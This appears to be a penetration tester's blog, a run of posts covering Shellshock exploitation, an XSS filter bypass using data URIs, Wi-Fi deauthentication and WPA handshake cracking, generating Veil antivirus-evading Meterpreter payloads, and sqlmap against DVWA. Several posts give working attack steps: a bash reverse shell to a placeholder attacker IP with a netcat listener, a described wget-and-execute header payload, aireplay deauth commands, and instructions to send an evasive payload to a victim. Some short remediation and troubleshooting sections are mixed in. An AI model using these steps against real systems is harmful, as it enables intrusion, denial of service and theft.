Wednesday, CVE-2014-6271, now called “shellshock” or the “bash bug”, was published. The following description was provided:
“GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.”
It was given a CVSS score of 10.0, the highest possible.
Detecting
Luckily, if you have access to the remote system, manual validation is very easy. Simply paste the following code into a terminal and execute.
If the output contains the string “vulnerable” then your version of bash is affected.
To test remotely, follow the exploitation steps below, omitting the reverse shell and setting the command in the request headers to something like “curl http://mysite.com/something.txt” and watch your logs. If you see the host connect and access that file, it is vulnerable.
Exploiting
Exploiting this bug is a little bit more fun. At the time I created this method, there were no working tools to test. I had only seen someone online’s log and tried to emulate that to the best of my ability.
The first step is to hop on your VPS and create a file with a simple bash reverse shell in it and throw that in your web root.
1
bash -i >& /dev/tcp/your.ip.addr.here/31337 0>&1
Once that is set up, turn on Apache and start a netcat listener on the port you specified in the reverse shell file.
12
/etc/init.d/apache2 start
nc -l -p 31337
Now that the infrastructure is set up, find a vulnerable host. This should be a web server with a vulnerable CGI file on it. Once you’ve identified it, fire up Burp Suite.
Start the proxy and configure your browser to use it. Navigate to the site/file that you want to test, intercept the request, right click and choose “Send to Spider.”
Pause the Spider and go into the Spider options tab. Scroll down to the Request Headers section, click the “User-Agent” header, and then click the Edit button. Change the user agent to the following string:
This uses wget to download your reverse shell you put on your web server and save it to the /tmp/ directory, change the file permissions to 777, and run the reverse shell. If successful, this will call back to your netcat listener.
If you can get it to call back and open the shell, you’ll have a session as the user on the remote system.
NOTE: In Burp, I chose to use the Spider as I am a fan of automating as much as possible, but Intruder or Repeater work just as well.
Remediating
Remediating the issue is pretty straightforward now that most operating systems have a patch in their repositories. For instance, I patched my Kali box with a simple “apt-get update && apt-get -y dist-upgrade.” However, if you do not have the luxury of being able to do full distro upgrades, building from source is always an option and many distros are providing tutorials.
Once you’ve updated, make sure you run through the detection command mentioned above. If it responds with the following errors, your system is patched. CVE-2014-7169 notes that the original patch was incorrect, so make sure to stay on top of updates for the next week or so.
12
bash: warning: var: ignoring function definition attempt
bash: error importing function definition for `var'
It has come to my attention that the Kali repositories still have not been synced as of 2205 GMT on April 19, 2014, so here is a quick run through on how to manually patch OpenSSL.
1234567891011
# Download the package
wget http://www.openssl.org/source/openssl-1.0.1g.tar.gz
# Extract the .tar.gz and change directories
tar xzf openssl-1.0.1g.tar.gz
cd openssl-1.0.1g
# Configure and install openssl-1.0.1g. This will take a while...
./config --prefix=/usr --openssldir=/etc/ssl
make
make install
To check your current OpenSSL version, type:
1
openssl version
Hope that this helps and that we’ll see 1.0.1g in the repositories shortly.
After a long battle with WordPress, I’ve finally decided it’s time to move on. The old site will be decommissioned within the week or possibly repurposed.
Please excuse the formatting of the posts before this. Jekyll converts the WordPress XML to HTML which Octopress didn’t like.
An emergency LUKS self-destruct functionality was recently added to Kali v1.0.6. The way this works is by setting two unique decryption passwords; one password will decrypt the data on the drive and allow for normal use and the other password will “destroy” the data on the drive. It is fairly easy to configure and a lot of people are excited about it. More information on the feature can be found on the Kali website.
However, I’m a bit skeptical about this. The way I look at it, this will stop only the laziest and least skilled individuals. Think about it this way, if I were to seriously seize/steal/inspect a laptop with this feature, the first thing I would do is make a copy of the drive. If you provided me the nuke password, I’d say that it didn’t work and revert to the initial image and start again.
More aggressively, if the owner is abducted or the laptop is seized, I see two outcomes:
The owner gives the criminal the nuke password, destroys the data, and is subsequently beaten/killed.
The owner gives an LEO the nuke password, destroys the data, and catches an obstruction of justice charge (federally punishable up to 20 years).
One of the web app testers on a team I work with shared a technique for bypassing XSS filters that I hadn’t used (although admittedly I don’t get much hands-on time with web apps anymore) – using data uniform resource identifiers (URIs). Data URIs are defined by RFC 2397 and can be used to embed file in an HTML document without referencing a file stored on the server.
The way this works is by allowing the data to be self-contained within the URI and if a valid MIME type is specified, the data will be rendered. If a MIME type is not specified, it will default to text/plain which would be okay for textualized data, however to embed binary data one would need to specify base64 in the string. The syntax is as follows:
Taking advantage of this feature, an attacker can inject their XSS code into the page. In the case of a system that blocks specific strings like “script” or symbols like parentheses, this method can be used to disguise the payload and evade the protections. An example of this using the default “<script>alert(“XSS”);</script>” payload would be:
HTML tags that are able to carry these payloads are
IFRAME
Object
Anchor
Image
There are some limitations to this technique though. Most modern browsers support the use of data URIs, however Internet Explorer < 8 does not. IE8 now has support for URIs but only with CSS. Using CSS is not much more difficult than with HTML. Using the image provided above for example, a CSS version would be:
li {
background:
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADcAAAA3CAAAAACNsI2aAAAACXBIWXMAAAB5[snip...])
no-repeat
left center;
padding: 5px 0 5px 25px;
}
This year at DEFCON, the Hak5 WiFi Pineapples sold out within the first day. I noticed quite a few people walking around with their Pineapples on in Vegas and I’m sure a few of them were having some luck, but they only work against people attempting to connect to a network, not those who are already connected. So what if we could force those people already connected to drop the connection and try to reconnect? That’s where a deauth attack is valuable. By deauthenticating the clients and forcing them to reconnect, we can do three things:
Denial of service.
Redirect to our rogue access point (Pineapple, PwnPlug, SILICA, etc.).
Capture the WPA handshake and attempt to crack the password.
Actually doing a deauth attack is really simple. I have a cheap laptop with Kali running on it and an Alfa card setup and this works perfectly. The first thing to do is to set up an interface in monitoring mode using airmon.
airmon-ng start wlan1
This creates the mon0 interface that we’ll use throughout the rest of the attack.
Next we need to grab some information about the target network. Do this with airodump
airodump-ng mon0
Grab the BSSID and channel number of the target network. Change your interface over to the channel of the target
iwconfig mon0 channel X
and we’ll be ready to start the attack.
To begin deauthing clients, we’ll need to use aireplay. The syntax is:
aireplay-ng -0 0 -a 00:00:00:00:00:00 mon0
-0 specifies a deauth attack
-a is the BSSID of the target
mon0 is your monitoring interface
When you run this, it will send out deauthentication packets to the network, knocking off clients until you stop it.
root@kali:~# aireplay-ng -0 0 -a XX:XX:XX:XX:XX:XX mon0
11:37:23 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel X
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
12:37:23 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:23 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:24 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:24 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:25 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:25 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:26 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:26 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:27 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:27 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
12:37:27 Sending DeAuth to broadcast -- BSSID: [XX:XX:XX:XX:XX:XX]
Now the challenge is redirecting those deauthenticated clients to your access point. To do this, have your Pineapple with you and running, or set up another device with the SSID of the target network (assuming you can get your signal stronger than the existing access point) or to the SSID of a common network such as:
linksys
guest
NETGEAR
cisco
attwifi (Starbucks)
hhonors (Hilton Hotel)
Another option is to capture the WPA/2 handshake with the client reconnects. You can use this to attack the password of the AP in order to get a foothold in the network. To do this, in another terminal have this command typed and ready to go:
airodump-ng mon0 --bssid XX:XX:XX:XX:XX:XX --channel X --write WPAhandshake
As soon as you stop sending deauth packets, run that command and wait for the top to have the “WPA handshake: XX:XX:XX:XX:XX:XX” value. From there, run aircrack with your wordlist of choice to attemp to crack the password.
Finally, a different way of using this attack is to create a jammer. Note that any kind of jammer in the United States is absolutely illegal, so don’t do this. I stumbled across this project which essentially does the same thing as aireplay, but against all APs running on a given channel. I have not tested this so I can not verify that it actually works, however to concept is valid.
Recently, while trying to work with binwalk on a fresh Kali 1.0 build, I came across this error:
root@kali:~/Desktop/# binwalk XXXXXXX.bin
Traceback (most recent call last):
File "/usr/bin/binwalk", line 536, in <module>
main()
File "/usr/bin/binwalk", line 481, in main
plugins_blacklist=plugin_blacklist)
File "/usr/lib/pymodules/python2.7/binwalk/__init__.py", line 306, in scan
self.plugins = Plugins(self, whitelist=plugins_whitelist, blacklist=plugins_blacklist)
NameError: global name 'Plugins' is not defined
It looks like the binwalk.plugins module is referencing something that Python doesn’t recognize, so to fix this issue, remove the following files:
Veil, an antivirus evasion tool, created by Chris Truncer, Mike Wright, and The Grayhound was recently added to the Kali repositories. The developers presented it at NoVA Hackers some weeks ago and it really sparked my interest. I haven’t had much opportunity to test the payloads it creates, however I have heard of numerous successes with it.
Before we get started, PLEASE do not submit your payloads to VirusTotal!
Installation
Since Veil is now in the Kali repositories, a simple apt-get will install it for you.
apt-get update && apt-get install veil
This method, however, does not ensure that you are using the bleeding-edge release of Veil, so you can also pull the project down from Github.
git clone https://github.com/veil-evasion/Veil.git
cd Veil/setup/
./setup.sh
Creating a Windows payload
Once installed, start Veil (veil for the apt-get method, ./Veil.py for git). This will load the framework and its current 20 payloads. For the sake of simplicity, we will create a reverse_tcp Meterpreter payload.
First, list all of the available payloads.
list
This will show the available payload names and their rating. For more information on a payload, type:
info $num
where the $num is the number next to the payload.
Choose number 13, python/AESEncrypted.
The options are set similarly to Metasploit, so this should be old-hat. If you’d like to use pyherion, for example, the syntax would be:
set use_pyherion Y
Now type generate to start generating the payload. The next section will allow you to choose a source for your shellcode. You can either use msfvenom or provide your custom shellcode. Here, we’ll opt for msfvenom.
Hit Enter to select the windows/meterpreter/reverse_tcp payload. Again, you can use whatever payload you’d like. Now, enter the LHOST address (where you want the connection to come back to) and the LPORT number (port to connect back on). Finally, you can enter any other msfvenom options in OPTION=value syntax, but we’ll skip that for now.
Once you hit Enter, it will generate your shellcode and prompt you to name your payload. Obviously you can change this to whatever you want at a later time, so just name it something easy to remember for the time being. Then you will be prompted to select the method for creating the executable (in this case Pyinstaller or Py2Exe). Choose Pyinstaller and run.
The payload is now created and a bit of information about it is shown in the terminal. The executable will be dropped in ~/veil-output/sources/ and an RC file will be dropped in ~/veil-output/handlers/
Receiving sessions
As you may have noticed in the last section, Veil makes an RC file when the payload is generated. This will be used with Metasploit to set up a handler to listen for incoming connections.
To set up the handler, navigate into the handler directory (~/veil-output/handlers/) and run this command with your handler name substituted:
msfconsole -r payload_handler.rc
The handler will be running as a background job awaiting the callback from the payload.
Finally, send the payload out to your victim via your method of choice. Once they click it and it executes, you will have your standard meterpreter session and you can start post exploitation and/or pivoting.
More information
There are numerous guides posted the Veil website showing exactly how to use this method and numerous others to create payloads. The devopers are also on Twitter, @ChrisTruncer @TheMightyShiv @the_grayhound
I’ve been insanely busy with work for the past few weeks so I’ve been neglecting the site a bit. In the past I’ve done a lot of web app testing, but as of late is has become a rare occurrence so I need to make sure I keep my skills up. Usually, I fire up Web Security Dojo and mess around a bit with WebGoat/Gruyere/DVWA. This time I thought I would actually put my thoughts and process into words and share it. In this tutorial, I will demonstrate how to use sqlmap to get SQL injection on DVWA under the medium security settings.
Setup
Start up a VM running something with DVWA (Dojo, Metasploitable, etc.) then login to the app (default credentials are admin:password). On the bottom-left side of the page will be a menu option titled “DVWA Security”. Click that and change the Script Security to “medium.” This doesn’t really matter since we will be using sqlmap to do the heavy lifting.
Gathering Info
Next, fire up Burp Suite, start the proxy with Intercept turned off, and tell your browser to go through it (using the Foxy Proxy browser plugin is the easiest).
In the browser, click the “SQL Injection” challenge from the menu on the left side of the page. Once the page is loaded, there will be a text box to search a user ID. Go back into Burp and turn on Intercept. In the browser, enter 1 into the box. This will return the information for the user with ID 1, admin. You’ll notice that the page isn’t loading. This is because Burp is intercepting the communication. Open up the Burp window and notice the GET request. From here, we want to grab the destination and cookie value and save it for later.
Click the Forward button until the page is loaded and turn off Intercept. Now go back the browser and you’ll see the SQLi page is loaded and showing the details for the user “admin.”
This shows that the information we enter into the text box is what is being queried in the database, so this will be our target for injection.
Dumping users and passwords
In a terminal, we need to provide sqlmap with the options it needs to attack the app. The command you will want to enter is:
-u = Host (mine is 192.168.1.111) + Path (/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit)
–cookie = Both of the cookies we captured in Burp. You will need two, security and PHPSESSID.
–dbs = Enumerate databases
When running, choose to continue with whatever sqlmap asks you. It will find that the ‘id’ parameter is vulnerable and ask if you want to keep testing others. Choose “N.” Once completed, it will display the injection points (mine showed 4 types) and the available databases.
From here, we need to select what database we want to go after. For this example, we’ll hit “dvwa.” So now, in sqlmap we need to find out the tables in the database. To do this, we need to modify the options a little bit. Remove the –dbs option and add “-D dvwa –tables” to make the new command:
We can see that there are some interesting values in this table, so we definitely want to dump this. A cool option sqlmp provides us with is the ability to bruteforce password hashes during the dump. During the next and final command, we will have the option to crack the hashes so make sure to approve it when it pops up (the default dictionary, option 1, works just fine). The final command to dump the table’s data is:
When it is done cracking, we will have all of the passwords for DVWA, including the admin user.
Conclusion
Obviously, we were attacking an extremely vulnerable web application in this tutorial, however sqlmap provides a ton of options to tailor the command to your needs for the more challenging tests. I have found that during a normal assessment, sqlmap can prove to be very useful, however do not expect it to be a skeleton key for all databases you come across. For example, by changing the Script Security to “high” in DVWA, restrictions are placed on the ‘id’ parameter which was found to be injectable on the medium security setting, making it non-injectable using the method in this tutorial.
(Notice the “$id = stripslashes($id);” and if statement checking if the $id value is numeric.)
Also, don’t forget to turn off your machine or VM running your vulnerable app when you are done!
